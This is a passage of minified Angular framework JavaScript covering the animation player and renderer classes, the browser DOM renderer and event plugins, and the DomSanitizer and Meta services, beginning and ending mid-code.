t&&(Array.isArray(t)?t:[t]).forEach(function(t){Object.keys(t).forEach(function(n){"offset"==n||"easing"==n||(e[n]=t[n])})}),e}(e=ut(t,e,s));if(0==n)return new Te(t,u);var c="gen_css_kf_"+this._count++,l=this.buildKeyframeElement(t,c,e);(function(t){var e,n=null===(e=t.getRootNode)||void 0===e?void 0:e.call(t);return"undefined"!=typeof ShadowRoot&&n instanceof ShadowRoot?n:document.head})(t).appendChild(l);var h=pe(t,e),f=new Ae(t,e,c,n,i,r,u,h);return f.onDestroy(function(){var t;(t=l).parentNode.removeChild(t)}),f}}]),t}(),Oe=function(){function t(e,n,i,r){_(this,t),this.element=e,this.keyframes=n,this.options=i,this._specialStyles=r,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this.time=0,this.parentPlayer=null,this.currentSnapshot={},this._duration=i.duration,this._delay=i.delay||0,this.time=this._duration+this._delay}return y(t,[{key:"_onFinish",value:function(){this._finished||(this._finished=!0,this._onDoneFns.forEach(function(t){return t()}),this._onDoneFns=[])}},{key:"init",value:function(){this._buildPlayer(),this._preparePlayerBeforeStart()}},{key:"_buildPlayer",value:function(){var t=this;if(!this._initialized){this._initialized=!0;var e=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,e,this.options),this._finalKeyframe=e.length?e[e.length-1]:{},this.domPlayer.addEventListener("finish",function(){return t._onFinish()})}}},{key:"_preparePlayerBeforeStart",value:function(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}},{key:"_triggerWebAnimation",value:function(t,e,n){return t.animate(e,n)}},{key:"onStart",value:function(t){this._onStartFns.push(t)}},{key:"onDone",value:function(t){this._onDoneFns.push(t)}},{key:"onDestroy",value:function(t){this._onDestroyFns.push(t)}},{key:"play",value:function(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(function(t){return t()}),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}},{key:"pause",value:function(){this.init(),this.domPlayer.pause()}},{key:"finish",value:function(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}},{key:"reset",value:function(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1}},{key:"_resetDomPlayerState",value:function(){this.domPlayer&&this.domPlayer.cancel()}},{key:"restart",value:function(){this.reset(),this.play()}},{key:"hasStarted",value:function(){return this._started}},{key:"destroy",value:function(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(function(t){return t()}),this._onDestroyFns=[])}},{key:"setPosition",value:function(t){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=t*this.time}},{key:"getPosition",value:function(){return this.domPlayer.currentTime/this.time}},{key:"totalTime",get:function(){return this._delay+this._duration}},{key:"beforeDestroy",value:function(){var t=this,e={};this.hasStarted()&&Object.keys(this._finalKeyframe).forEach(function(n){"offset"!=n&&(e[n]=t._finished?t._finalKeyframe[n]:lt(t.element,n))}),this.currentSnapshot=e}},{key:"triggerCallback",value:function(t){var e="start"==t?this._onStartFns:this._onDoneFns;e.forEach(function(t){return t()}),e.length=0}}]),t}(),Re=function(){function t(){_(this,t),this._isNativeImpl=/\{\s*\[native\s+code\]\s*\}/.test(Pe().toString()),this._cssKeyframesDriver=new Ie}return y(t,[{key:"validateStyleProperty",value:function(t){return O(t)}},{key:"matchesElement",value:function(t,e){return R(t,e)}},{key:"containsElement",value:function(t,e){return P(t,e)}},{key:"query",value:function(t,e,n){return N(t,e,n)}},{key:"computeStyle",value:function(t,e,n){return window.getComputedStyle(t)[e]}},{key:"overrideWebAnimationsSupport",value:function(t){this._isNativeImpl=t}},{key:"animate",value:function(t,e,n,i,r){var o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],a=arguments.length>6?arguments[6]:void 0;if(!a&&!this._isNativeImpl)return this._cssKeyframesDriver.animate(t,e,n,i,r,o);var s={duration:n,delay:i,fill:0==i?"both":"forwards"};r&&(s.easing=r);var u={},c=o.filter(function(t){return t instanceof Oe});st(n,i)&&c.forEach(function(t){var e=t.currentSnapshot;Object.keys(e).forEach(function(t){return u[t]=e[t]})});var l=pe(t,e=ut(t,e=e.map(function(t){return W(t,!1)}),u));return new Oe(t,e,s,l)}}]),t}();function Pe(){return h()&&Element.prototype.animate||{}}var Ne=n(54364),De=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this))._nextAnimationId=0,r._renderer=t.createRenderer(i.body,{id:"0",encapsulation:a.ifc.None,styles:[],data:{animation:[]}}),r}return y(n,[{key:"build",value:function(t){var e=this._nextAnimationId.toString();this._nextAnimationId++;var n=Array.isArray(t)?(0,c.vP)(t):t;return Fe(this._renderer,null,e,"register",[n]),new Le(e,this._renderer)}}]),n}(c._j);return t.\u0275fac=function(e){return new(e||t)(a.LFG(a.FYo),a.LFG(Ne.K0))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),Le=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this))._id=t,r._renderer=i,r}return y(n,[{key:"create",value:function(t,e){return new Me(this._id,t,e||{},this._renderer)}}]),n}(c.LC),Me=function(){function t(e,n,i,r){_(this,t),this.id=e,this.element=n,this._renderer=r,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",i)}return y(t,[{key:"_listen",value:function(t,e){return this._renderer.listen(this.element,"@@".concat(this.id,":").concat(t),e)}},{key:"_command",value:function(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),i=1;i<e;i++)n[i-1]=arguments[i];return Fe(this._renderer,this.element,this.id,t,n)}},{key:"onDone",value:function(t){this._listen("done",t)}},{key:"onStart",value:function(t){this._listen("start",t)}},{key:"onDestroy",value:function(t){this._listen("destroy",t)}},{key:"init",value:function(){this._command("init")}},{key:"hasStarted",value:function(){return this._started}},{key:"play",value:function(){this._command("play"),this._started=!0}},{key:"pause",value:function(){this._command("pause")}},{key:"restart",value:function(){this._command("restart")}},{key:"finish",value:function(){this._command("finish")}},{key:"destroy",value:function(){this._command("destroy")}},{key:"reset",value:function(){this._command("reset"),this._started=!1}},{key:"setPosition",value:function(t){this._command("setPosition",t)}},{key:"getPosition",value:function(){var t,e;return null!==(e=null===(t=this._renderer.engine.players[+this.id])||void 0===t?void 0:t.getPosition())&&void 0!==e?e:0}}]),t}();function Fe(t,e,n,i,r){return t.setProperty(e,"@@".concat(n,":").concat(i),r)}var Ue="@.disabled",Be=function(){var t=function(){function t(e,n,i){_(this,t),this.delegate=e,this.engine=n,this._zone=i,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),n.onRemovalComplete=function(t,e){e&&e.parentNode(t)&&e.removeChild(t.parentNode,t)}}return y(t,[{key:"createRenderer",value:function(t,e){var n=this,i=this.delegate.createRenderer(t,e);if(!(t&&e&&e.data&&e.data.animation)){var r=this._rendererCache.get(i);return r||(r=new je("",i,this.engine),this._rendererCache.set(i,r)),r}var o=e.id,a=e.id+"-"+this._currentId;this._currentId++,this.engine.register(a,t);return e.data.animation.forEach(function e(i){Array.isArray(i)?i.forEach(e):n.engine.registerTrigger(o,a,t,i.name,i)}),new He(this,a,i,this.engine)}},{key:"begin",value:function(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}},{key:"_scheduleCountTask",value:function(){var t=this;this.promise.then(function(){t._microtaskId++})}},{key:"scheduleListenerCallback",value:function(t,e,n){var i=this;t>=0&&t<this._microtaskId?this._zone.run(function(){return e(n)}):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(function(){i._zone.run(function(){i._animationCallbacksBuffer.forEach(function(t){var e=o(t,2);(0,e[0])(e[1])}),i._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([e,n]))}},{key:"end",value:function(){var t=this;this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(function(){t._scheduleCountTask(),t.engine.flush(t._microtaskId)}),this.delegate.end&&this.delegate.end()}},{key:"whenRenderingDone",value:function(){return this.engine.whenRenderingDone()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(a.FYo),a.LFG(de),a.LFG(a.R0b))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),je=function(){function t(e,n,i){_(this,t),this.namespaceId=e,this.delegate=n,this.engine=i,this.destroyNode=this.delegate.destroyNode?function(t){return n.destroyNode(t)}:null}return y(t,[{key:"data",get:function(){return this.delegate.data}},{key:"destroy",value:function(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy()}},{key:"createElement",value:function(t,e){return this.delegate.createElement(t,e)}},{key:"createComment",value:function(t){return this.delegate.createComment(t)}},{key:"createText",value:function(t){return this.delegate.createText(t)}},{key:"appendChild",value:function(t,e){this.delegate.appendChild(t,e),this.engine.onInsert(this.namespaceId,e,t,!1)}},{key:"insertBefore",value:function(t,e,n){var i=!(arguments.length>3&&void 0!==arguments[3])||arguments[3];this.delegate.insertBefore(t,e,n),this.engine.onInsert(this.namespaceId,e,t,i)}},{key:"removeChild",value:function(t,e,n){this.engine.onRemove(this.namespaceId,e,this.delegate,n)}},{key:"selectRootElement",value:function(t,e){return this.delegate.selectRootElement(t,e)}},{key:"parentNode",value:function(t){return this.delegate.parentNode(t)}},{key:"nextSibling",value:function(t){return this.delegate.nextSibling(t)}},{key:"setAttribute",value:function(t,e,n,i){this.delegate.setAttribute(t,e,n,i)}},{key:"removeAttribute",value:function(t,e,n){this.delegate.removeAttribute(t,e,n)}},{key:"addClass",value:function(t,e){this.delegate.addClass(t,e)}},{key:"removeClass",value:function(t,e){this.delegate.removeClass(t,e)}},{key:"setStyle",value:function(t,e,n,i){this.delegate.setStyle(t,e,n,i)}},{key:"removeStyle",value:function(t,e,n){this.delegate.removeStyle(t,e,n)}},{key:"setProperty",value:function(t,e,n){"@"==e.charAt(0)&&e==Ue?this.disableAnimations(t,!!n):this.delegate.setProperty(t,e,n)}},{key:"setValue",value:function(t,e){this.delegate.setValue(t,e)}},{key:"listen",value:function(t,e,n){return this.delegate.listen(t,e,n)}},{key:"disableAnimations",value:function(t,e){this.engine.disableAnimations(t,e)}}]),t}(),He=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this,i,r,o)).factory=t,a.namespaceId=i,a}return y(n,[{key:"setProperty",value:function(t,e,n){"@"==e.charAt(0)?"."==e.charAt(1)&&e==Ue?this.disableAnimations(t,n=void 0===n||!!n):this.engine.process(this.namespaceId,t,e.substr(1),n):this.delegate.setProperty(t,e,n)}},{key:"listen",value:function(t,e,n){var i=this;if("@"==e.charAt(0)){var r,a=function(t){switch(t){case"body":return document.body;case"document":return document;case"window":return window;default:return t}}(t),s=e.substr(1),u="";return"@"!=s.charAt(0)&&(s=(r=o(function(t){var e=t.indexOf(".");return[t.substring(0,e),t.substr(e+1)]}(s),2))[0],u=r[1]),this.engine.listen(this.namespaceId,a,s,u,function(t){i.factory.scheduleListenerCallback(t._data||-1,n,t)})}return this.delegate.listen(t,e,n)}}]),n}(je),Ve=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r){return _(this,n),e.call(this,t.body,i,r)}return y(n,[{key:"ngOnDestroy",value:function(){this.flush()}}]),n}(de);return t.\u0275fac=function(e){return new(e||t)(a.LFG(Ne.K0),a.LFG(F),a.LFG(Nt))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),Ge=new a.OlP("AnimationModuleType"),Ye=[{provide:c._j,useClass:De},{provide:Nt,useFactory:function(){return new Dt}},{provide:de,useClass:Ve},{provide:a.FYo,useFactory:function(t,e,n){return new Be(t,e,n)},deps:[s.se,de,a.R0b]}],qe=[{provide:F,useFactory:function(){return"function"==typeof Pe()?new Re:new Ie}},{provide:Ge,useValue:"BrowserAnimations"}].concat(Ye),ze=[{provide:F,useClass:M},{provide:Ge,useValue:"NoopAnimations"}].concat(Ye),Ze=function(){var t=function(){function t(){_(this,t)}return y(t,null,[{key:"withConfig",value:function(e){return{ngModule:t,providers:e.disableAnimations?ze:qe}}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({providers:qe,imports:[s.b2]}),t}()},71570:function(t,e,n){"use strict";n.d(e,{b2:function(){return G},H7:function(){return B},h_:function(){return q},Dx:function(){return W},q6:function(){return H},se:function(){return I}});var i,r,o=n(54364),a=n(2316),s=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"onAndCancel",value:function(t,e,n){return t.addEventListener(e,n,!1),function(){t.removeEventListener(e,n,!1)}}},{key:"dispatchEvent",value:function(t,e){t.dispatchEvent(e)}},{key:"remove",value:function(t){t.parentNode&&t.parentNode.removeChild(t)}},{key:"createElement",value:function(t,e){return(e=e||this.getDefaultDocument()).createElement(t)}},{key:"createHtmlDocument",value:function(){return document.implementation.createHTMLDocument("fakeTitle")}},{key:"getDefaultDocument",value:function(){return document}},{key:"isElementNode",value:function(t){return t.nodeType===Node.ELEMENT_NODE}},{key:"isShadowRoot",value:function(t){return t instanceof DocumentFragment}},{key:"getGlobalEventTarget",value:function(t,e){return"window"===e?window:"document"===e?t:"body"===e?t.body:null}},{key:"getBaseHref",value:function(t){var e=(c=c||document.querySelector("base"))?c.getAttribute("href"):null;return null==e?null:function(t){(i=i||document.createElement("a")).setAttribute("href",t);var e=i.pathname;return"/"===e.charAt(0)?e:"/".concat(e)}(e)}},{key:"resetBaseElement",value:function(){c=null}},{key:"getUserAgent",value:function(){return window.navigator.userAgent}},{key:"getCookie",value:function(t){return(0,o.Mx)(document.cookie,t)}}],[{key:"makeCurrent",value:function(){(0,o.HT)(new n)}}]),n}(function(t){l(n,t);var e=f(n);function n(){var t;return _(this,n),(t=e.apply(this,arguments)).supportsDOMEvents=!0,t}return n}(o.w_)),c=null,h=new a.OlP("TRANSITION_ID"),d=[{provide:a.ip1,useFactory:function(t,e,n){return function(){n.get(a.CZH).donePromise.then(function(){for(var n=(0,o.q)(),i=e.querySelectorAll('style[ng-transition="'.concat(t,'"]')),r=0;r<i.length;r++)n.remove(i[r])})}},deps:[h,o.K0,a.zs3],multi:!0}],p=function(){function t(){_(this,t)}return y(t,[{key:"addToWindow",value:function(t){a.dqk.getAngularTestability=function(e){var n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=t.findTestabilityInTree(e,n);if(null==i)throw new Error("Could not find testability for element.");return i},a.dqk.getAllAngularTestabilities=function(){return t.getAllTestabilities()},a.dqk.getAllAngularRootElements=function(){return t.getAllRootElements()},a.dqk.frameworkStabilizers||(a.dqk.frameworkStabilizers=[]),a.dqk.frameworkStabilizers.push(function(t){var e=a.dqk.getAllAngularTestabilities(),n=e.length,i=!1,r=function(e){i=i||e,0==--n&&t(i)};e.forEach(function(t){t.whenStable(r)})})}},{key:"findTestabilityInTree",value:function(t,e,n){if(null==e)return null;var i=t.getTestability(e);return null!=i?i:n?(0,o.q)().isShadowRoot(e)?this.findTestabilityInTree(t,e.host,!0):this.findTestabilityInTree(t,e.parentElement,!0):null}}],[{key:"init",value:function(){(0,a.VLi)(new t)}}]),t}(),v=((r=function(){function t(){_(this,t)}return y(t,[{key:"build",value:function(){return new XMLHttpRequest}}]),t}()).\u0275fac=function(t){return new(t||r)},r.\u0275prov=a.Yz7({token:r,factory:r.\u0275fac}),r),g=new a.OlP("EventManagerPlugins"),b=function(){var t=function(){function t(e,n){var i=this;_(this,t),this._zone=n,this._eventNameToPlugin=new Map,e.forEach(function(t){return t.manager=i}),this._plugins=e.slice().reverse()}return y(t,[{key:"addEventListener",value:function(t,e,n){return this._findPluginFor(e).addEventListener(t,e,n)}},{key:"addGlobalEventListener",value:function(t,e,n){return this._findPluginFor(e).addGlobalEventListener(t,e,n)}},{key:"getZone",value:function(){return this._zone}},{key:"_findPluginFor",value:function(t){var e=this._eventNameToPlugin.get(t);if(e)return e;for(var n=this._plugins,i=0;i<n.length;i++){var r=n[i];if(r.supports(t))return this._eventNameToPlugin.set(t,r),r}throw new Error("No event manager plugin found for event ".concat(t))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(g),a.LFG(a.R0b))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),k=function(){function t(e){_(this,t),this._doc=e}return y(t,[{key:"addGlobalEventListener",value:function(t,e,n){var i=(0,o.q)().getGlobalEventTarget(this._doc,t);if(!i)throw new Error("Unsupported event target ".concat(i," for event ").concat(e));return this.addEventListener(i,e,n)}}]),t}(),w=function(){var t=function(){function t(){_(this,t),this._stylesSet=new Set}return y(t,[{key:"addStyles",value:function(t){var e=this,n=new Set;t.forEach(function(t){e._stylesSet.has(t)||(e._stylesSet.add(t),n.add(t))}),this.onStylesAdded(n)}},{key:"onStylesAdded",value:function(t){}},{key:"getAllStyles",value:function(){return Array.from(this._stylesSet)}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),C=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._doc=t,i._hostNodes=new Map,i._hostNodes.set(t.head,[]),i}return y(n,[{key:"_addStylesToHost",value:function(t,e,n){var i=this;t.forEach(function(t){var r=i._doc.createElement("style");r.textContent=t,n.push(e.appendChild(r))})}},{key:"addHost",value:function(t){var e=[];this._addStylesToHost(this._stylesSet,t,e),this._hostNodes.set(t,e)}},{key:"removeHost",value:function(t){var e=this._hostNodes.get(t);e&&e.forEach(x),this._hostNodes.delete(t)}},{key:"onStylesAdded",value:function(t){var e=this;this._hostNodes.forEach(function(n,i){e._addStylesToHost(t,i,n)})}},{key:"ngOnDestroy",value:function(){this._hostNodes.forEach(function(t){return t.forEach(x)})}}]),n}(w);return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}();function x(t){(0,o.q)().remove(t)}var S={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"},E=/%COMP%/g;function A(t,e,n){for(var i=0;i<e.length;i++){var r=e[i];Array.isArray(r)?A(t,r,n):(r=r.replace(E,t),n.push(r))}return n}function T(t){return function(e){if("__ngUnwrap__"===e)return t;!1===t(e)&&(e.preventDefault(),e.returnValue=!1)}}var I=function(){var t=function(){function t(e,n,i){_(this,t),this.eventManager=e,this.sharedStylesHost=n,this.appId=i,this.rendererByCompId=new Map,this.defaultRenderer=new O(e)}return y(t,[{key:"createRenderer",value:function(t,e){if(!t||!e)return this.defaultRenderer;switch(e.encapsulation){case a.ifc.Emulated:var n=this.rendererByCompId.get(e.id);return n||(n=new R(this.eventManager,this.sharedStylesHost,e,this.appId),this.rendererByCompId.set(e.id,n)),n.applyToHost(t),n;case 1:case a.ifc.ShadowDom:return new P(this.eventManager,this.sharedStylesHost,t,e);default:if(!this.rendererByCompId.has(e.id)){var i=A(e.id,e.styles,[]);this.sharedStylesHost.addStyles(i),this.rendererByCompId.set(e.id,this.defaultRenderer)}return this.defaultRenderer}}},{key:"begin",value:function(){}},{key:"end",value:function(){}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(b),a.LFG(C),a.LFG(a.AFp))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),O=function(){function t(e){_(this,t),this.eventManager=e,this.data=Object.create(null)}return y(t,[{key:"destroy",value:function(){}},{key:"createElement",value:function(t,e){return e?document.createElementNS(S[e]||e,t):document.createElement(t)}},{key:"createComment",value:function(t){return document.createComment(t)}},{key:"createText",value:function(t){return document.createTextNode(t)}},{key:"appendChild",value:function(t,e){t.appendChild(e)}},{key:"insertBefore",value:function(t,e,n){t&&t.insertBefore(e,n)}},{key:"removeChild",value:function(t,e){t&&t.removeChild(e)}},{key:"selectRootElement",value:function(t,e){var n="string"==typeof t?document.querySelector(t):t;if(!n)throw new Error('The selector "'.concat(t,'" did not match any elements'));return e||(n.textContent=""),n}},{key:"parentNode",value:function(t){return t.parentNode}},{key:"nextSibling",value:function(t){return t.nextSibling}},{key:"setAttribute",value:function(t,e,n,i){if(i){e=i+":"+e;var r=S[i];r?t.setAttributeNS(r,e,n):t.setAttribute(e,n)}else t.setAttribute(e,n)}},{key:"removeAttribute",value:function(t,e,n){if(n){var i=S[n];i?t.removeAttributeNS(i,e):t.removeAttribute("".concat(n,":").concat(e))}else t.removeAttribute(e)}},{key:"addClass",value:function(t,e){t.classList.add(e)}},{key:"removeClass",value:function(t,e){t.classList.remove(e)}},{key:"setStyle",value:function(t,e,n,i){i&(a.JOm.DashCase|a.JOm.Important)?t.style.setProperty(e,n,i&a.JOm.Important?"important":""):t.style[e]=n}},{key:"removeStyle",value:function(t,e,n){n&a.JOm.DashCase?t.style.removeProperty(e):t.style[e]=""}},{key:"setProperty",value:function(t,e,n){t[e]=n}},{key:"setValue",value:function(t,e){t.nodeValue=e}},{key:"listen",value:function(t,e,n){return"string"==typeof t?this.eventManager.addGlobalEventListener(t,e,T(n)):this.eventManager.addEventListener(t,e,T(n))}}]),t}(),R=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;_(this,n),(a=e.call(this,t)).component=r;var s=A(o+"-"+r.id,r.styles,[]);return i.addStyles(s),a.contentAttr="_ngcontent-%COMP%".replace(E,o+"-"+r.id),a.hostAttr="_nghost-%COMP%".replace(E,o+"-"+r.id),a}return y(n,[{key:"applyToHost",value:function(t){u(m(n.prototype),"setAttribute",this).call(this,t,this.hostAttr,"")}},{key:"createElement",value:function(t,e){var i=u(m(n.prototype),"createElement",this).call(this,t,e);return u(m(n.prototype),"setAttribute",this).call(this,i,this.contentAttr,""),i}}]),n}(O),P=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;_(this,n),(a=e.call(this,t)).sharedStylesHost=i,a.hostEl=r,a.shadowRoot=r.attachShadow({mode:"open"}),a.sharedStylesHost.addHost(a.shadowRoot);for(var s=A(o.id,o.styles,[]),u=0;u<s.length;u++){var c=document.createElement("style");c.textContent=s[u],a.shadowRoot.appendChild(c)}return a}return y(n,[{key:"nodeOrShadowRoot",value:function(t){return t===this.hostEl?this.shadowRoot:t}},{key:"destroy",value:function(){this.sharedStylesHost.removeHost(this.shadowRoot)}},{key:"appendChild",value:function(t,e){return u(m(n.prototype),"appendChild",this).call(this,this.nodeOrShadowRoot(t),e)}},{key:"insertBefore",value:function(t,e,i){return u(m(n.prototype),"insertBefore",this).call(this,this.nodeOrShadowRoot(t),e,i)}},{key:"removeChild",value:function(t,e){return u(m(n.prototype),"removeChild",this).call(this,this.nodeOrShadowRoot(t),e)}},{key:"parentNode",value:function(t){return this.nodeOrShadowRoot(u(m(n.prototype),"parentNode",this).call(this,this.nodeOrShadowRoot(t)))}}]),n}(O),N=function(){var t=function(t){l(n,t);var e=f(n);function n(t){return _(this,n),e.call(this,t)}return y(n,[{key:"supports",value:function(t){return!0}},{key:"addEventListener",value:function(t,e,n){var i=this;return t.addEventListener(e,n,!1),function(){return i.removeEventListener(t,e,n)}}},{key:"removeEventListener",value:function(t,e,n){return t.removeEventListener(e,n)}}]),n}(k);return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),D=["alt","control","meta","shift"],L={"\b":"Backspace","\t":"Tab","\x7f":"Delete","\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},M={A:"1",B:"2",C:"3",D:"4",E:"5",F:"6",G:"7",H:"8",I:"9",J:"*",K:"+",M:"-",N:".",O:"/","`":"0","\x90":"NumLock"},F={alt:function(t){return t.altKey},control:function(t){return t.ctrlKey},meta:function(t){return t.metaKey},shift:function(t){return t.shiftKey}},U=function(){var t=function(t){l(n,t);var e=f(n);function n(t){return _(this,n),e.call(this,t)}return y(n,[{key:"supports",value:function(t){return null!=n.parseEventName(t)}},{key:"addEventListener",value:function(t,e,i){var r=n.parseEventName(e),a=n.eventCallback(r.fullKey,i,this.manager.getZone());return this.manager.getZone().runOutsideAngular(function(){return(0,o.q)().onAndCancel(t,r.domEventName,a)})}}],[{key:"parseEventName",value:function(t){var e=t.toLowerCase().split("."),i=e.shift();if(0===e.length||"keydown"!==i&&"keyup"!==i)return null;var r=n._normalizeKey(e.pop()),o="";if(D.forEach(function(t){var n=e.indexOf(t);n>-1&&(e.splice(n,1),o+=t+".")}),o+=r,0!=e.length||0===r.length)return null;var a={};return a.domEventName=i,a.fullKey=o,a}},{key:"getEventFullKey",value:function(t){var e="",n=function(t){var e=t.key;if(null==e){if(null==(e=t.keyIdentifier))return"Unidentified";e.startsWith("U+")&&(e=String.fromCharCode(parseInt(e.substring(2),16)),3===t.location&&M.hasOwnProperty(e)&&(e=M[e]))}return L[e]||e}(t);return" "===(n=n.toLowerCase())?n="space":"."===n&&(n="dot"),D.forEach(function(i){i!=n&&F[i](t)&&(e+=i+".")}),e+=n}},{key:"eventCallback",value:function(t,e,i){return function(r){n.getEventFullKey(r)===t&&i.runGuarded(function(){return e(r)})}}},{key:"_normalizeKey",value:function(t){switch(t){case"esc":return"escape";default:return t}}}]),n}(k);return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac}),t}(),B=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,a.Yz7)({factory:function(){return(0,a.LFG)(j)},token:t,providedIn:"root"}),t}(),j=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._doc=t,i}return y(n,[{key:"sanitize",value:function(t,e){if(null==e)return null;switch(t){case a.q3G.NONE:return e;case a.q3G.HTML:return(0,a.qzn)(e,"HTML")?(0,a.z3N)(e):(0,a.EiD)(this._doc,String(e)).toString();case a.q3G.STYLE:return(0,a.qzn)(e,"Style")?(0,a.z3N)(e):e;case a.q3G.SCRIPT:if((0,a.qzn)(e,"Script"))return(0,a.z3N)(e);throw new Error("unsafe value used in a script context");case a.q3G.URL:return(0,a.yhl)(e),(0,a.qzn)(e,"URL")?(0,a.z3N)(e):(0,a.mCW)(String(e));case a.q3G.RESOURCE_URL:if((0,a.qzn)(e,"ResourceURL"))return(0,a.z3N)(e);throw new Error("unsafe value used in a resource URL context (see https://g.co/ng/security#xss)");default:throw new Error("Unexpected SecurityContext ".concat(t," (see https://g.co/ng/security#xss)"))}}},{key:"bypassSecurityTrustHtml",value:function(t){return(0,a.JVY)(t)}},{key:"bypassSecurityTrustStyle",value:function(t){return(0,a.L6k)(t)}},{key:"bypassSecurityTrustScript",value:function(t){return(0,a.eBb)(t)}},{key:"bypassSecurityTrustUrl",value:function(t){return(0,a.LAX)(t)}},{key:"bypassSecurityTrustResourceUrl",value:function(t){return(0,a.pB0)(t)}}]),n}(B);return t.\u0275fac=function(e){return new(e||t)(a.LFG(o.K0))},t.\u0275prov=(0,a.Yz7)({factory:function(){return function(t){return new j(t.get(o.K0))}((0,a.LFG)(a.gxx))},token:t,providedIn:"root"}),t}(),H=(0,a.eFA)(a._c5,"browser",[{provide:a.Lbi,useValue:o.bD},{provide:a.g9A,useValue:function(){s.makeCurrent(),p.init()},multi:!0},{provide:o.K0,useFactory:function(){return(0,a.RDi)(document),document},deps:[]}]),V=[[],{provide:a.zSh,useValue:"root"},{provide:a.qLn,useFactory:function(){return new a.qLn},deps:[]},{provide:g,useClass:N,multi:!0,deps:[o.K0,a.R0b,a.Lbi]},{provide:g,useClass:U,multi:!0,deps:[o.K0]},[],{provide:I,useClass:I,deps:[b,C,a.AFp]},{provide:a.FYo,useExisting:I},{provide:w,useExisting:C},{provide:C,useClass:C,deps:[o.K0]},{provide:a.dDg,useClass:a.dDg,deps:[a.R0b]},{provide:b,useClass:b,deps:[g,a.R0b]},{provide:o.JF,useClass:v,deps:[]},[]],G=function(){var t=function(){function t(e){if(_(this,t),e)throw new Error("BrowserModule has already been loaded. If you need access to common directives such as NgIf and NgFor from a lazy loaded module, import CommonModule instead.")}return y(t,null,[{key:"withServerTransition",value:function(e){return{ngModule:t,providers:[{provide:a.AFp,useValue:e.appId},{provide:h,useExisting:a.AFp},d]}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(t,12))},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({providers:V,imports:[o.ez,a.hGG]}),t}();function Y(){return new q((0,a.LFG)(o.K0))}var q=function(){var t=function(){function t(e){_(this,t),this._doc=e,this._dom=(0,o.q)()}return y(t,[{key:"addTag",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return t?this._getOrCreateElement(t,e):null}},{key:"addTags",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return t?t.reduce(function(t,i){return i&&t.push(e._getOrCreateElement(i,n)),t},[]):[]}},{key:"getTag",value:function(t){return t&&this._doc.querySelector("meta[".concat(t,"]"))||null}},{key:"getTags",value:function(t){if(!t)return[];var e=this._doc.querySelectorAll("meta[".concat(t,"]"));return e?[].slice.call(e):[]}},{key:"updateTag",value:function(t,e){if(!t)return null;e=e||this._parseSelector(t);var n=this.getTag(e);return 